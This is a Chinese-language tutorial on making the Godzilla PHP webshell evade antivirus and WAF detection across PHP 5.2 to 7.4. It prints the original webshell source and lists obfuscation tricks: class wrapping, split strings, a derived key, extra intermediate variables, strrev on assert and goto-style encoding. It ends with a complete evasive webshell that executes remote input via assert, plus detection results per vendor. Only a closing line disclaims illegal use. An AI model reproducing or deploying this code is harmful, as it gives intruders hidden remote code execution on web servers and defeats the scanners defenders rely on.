webshell免杀-提升兼容性
字数 1259 2025-08-27 12:33:31
PHP Webshell免杀技术:提升兼容性与混淆方法详解
一、前言
本文基于先知社区文章《webshell免杀-提升兼容性》整理,详细讲解PHP Webshell免杀技术,特别是针对不同PHP版本的兼容性提升方法。文章测试环境为phpstudy2018,覆盖PHP5.2至PHP7.4版本,并通过阿里云、D盾、百度Webshell检测等安全产品的检测。
二、测试环境与检测工具
- 测试环境:phpstudy2018,PHP5.2-PHP7.4
- 检测工具:
- 阿里云Webshell检测:https://ti.aliyun.com/#/webshell
- D盾:https://www.d99net.net/
- 百度Webshell检测:https://scanner.baidu.com/#/pages/intro
- VirusTotal:https://www.virustotal.com/gui/home/upload
三、原始Webshell分析
1. 哥斯拉Webshell原始代码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass = 'admin';
$payloadName = 'payload';
$key = '0192023a7bbd7325';
if(isset($_POST[$pass])){
$data = encode(base64_decode($_POST[$pass]),$key);
if(isset($_SESSION[$payloadName])){
$payload = encode($_SESSION[$payloadName],$key);
if(strpos($payload,"getBasicsInfo")===false){
$payload = encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if(strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName] = encode($data,$key);
}
}
}
2. 原始代码检测结果
- 阿里云:恶意
- D盾:4级风险
- 长亭:Webshell检测成功
- 百度:0/1未检测出来
- VirusTotal:4/57
- 河马:恶意
四、免杀技术详解
1. 函数重构与类封装
将encode函数改为类方法,并修改变量名:
class aly{
public function yh($xc,$app) {
for($a=0;$a<strlen($xc);$a++) {
$m = $app[$a+1&15];
$xc[$a] = $xc[$a]^$m;
}
$bc=md5($xc); // 混淆WAF
return $xc;
}
}
调用方式改为:
$app = new aly;
$data=$app->yh();
2. 密钥动态生成
将硬编码的密钥改为动态生成:
$key=substr(md5('admin123'),0,16);
3. 变量名混淆技术
- 使用字符串拼接:
$p.'load'; ($p='pay')
$cmd='getBas'.'icsInfo';
- 通过base64加密解密获取变量
- 修改变量传递方式,增加中间变量:
$uu=$payl; // 关键免杀点
4. PHP版本兼容方法
方法一:通用方法(PHP5.2-PHP7.4)
增加变量传递中间层,如$uu=$payl;
方法二:strrev()函数混淆(PHP7.0.9特定)
// 使用strrev()函数混淆assert或eval
方法三:GET传递方式(PHP5.2-PHP7.0.9)
改为使用$_GET而非$_POST
5. 代码加密
推荐使用在线加密工具:http://122.114.170.182/
加密后代码示例:
<?php /* Encode by www.phpen.cn */ goto IUNnc;
XwEH4: $app = new aly(); goto nsf5Z;
LL5W7: print substr(md5($pass.substr(md5("\x61\144\155\151\x6e\61\62\63"),0,16)),16); goto CL6YJ;
// ... 加密后的goto混淆代码 ...
五、完整免杀Webshell代码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
class aly{
public function yh($xc,$app){
for($a=0;$a<strlen($xc);$a++){
$m = $app[$a+1&15];
$xc[$a] = $xc[$a]^$m;
}
$bc=md5($xc);
return $xc;
}
}
$cmd='getBas'.'icsInfo';
$pass='admin';
$p='pay';
$key=substr(md5('admin123'),0,16);
$kk=$p.'load';
if(isset($_POST[$pass])){
$app=new aly;
$data=$app->yh(base64_decode($_POST[$pass]),substr(md5('admin123'),0,16));
if(isset($_SESSION[$kk])){
$xx=$app->yh($_SESSION[$kk],substr(md5('admin123'),0,16));
$payl=$xx;
if(strpos($payl,$cmd)===0){
$payl=$app->yh($payl,substr(md5('admin123'),0,16));
}
$uu=$payl;
class MOL{
public function __construct($p){
$qq=null;
$dd=null;
assert($qq./* xxx */$p./* ssss */$dd);
}
}
@new MOL($uu);
print substr(md5($pass.substr(md5('admin123'),0,16)),0,16);
print base64_encode($app->yh(@run($data),substr(md5('admin123'),0,16)));
print substr(md5($pass.substr(md5('admin123'),0,16)),16);
}else{
if(strpos($data,$cmd)!==0){
$_SESSION[$kk]=$app->yh($data,substr(md5('admin123'),0,16));
}
}
}
六、关键免杀原理
-
WAF检测机制分析:
- WAF主要关注
assert、eval、$_POST、$_GET、$_COOKIE等敏感函数和变量 - 通过特征码匹配识别已知Webshell
- 不过度严格检测以避免误报正常代码
- WAF主要关注
-
免杀核心思路:
- 混淆变量名和函数名
- 增加中间变量层打破特征匹配
- 使用类封装敏感操作
- 动态生成关键参数
- 代码加密混淆
七、注意事项
- 不是修改越多越好,过度修改可能适得其反
- 不同PHP版本可能需要不同的免杀方法
- 建议对加密后的代码进行实际连接测试
- 对于高级用户,可以考虑直接修改哥斯拉Java源码实现更深层次的免杀
八、总结
本文详细介绍了PHP Webshell的免杀技术,特别是针对不同PHP版本的兼容性解决方案。通过函数重构、类封装、变量混淆、代码加密等多种技术组合,可以有效绕过主流安全产品的检测。需要注意的是,这些技术仅用于安全研究,请勿用于非法用途。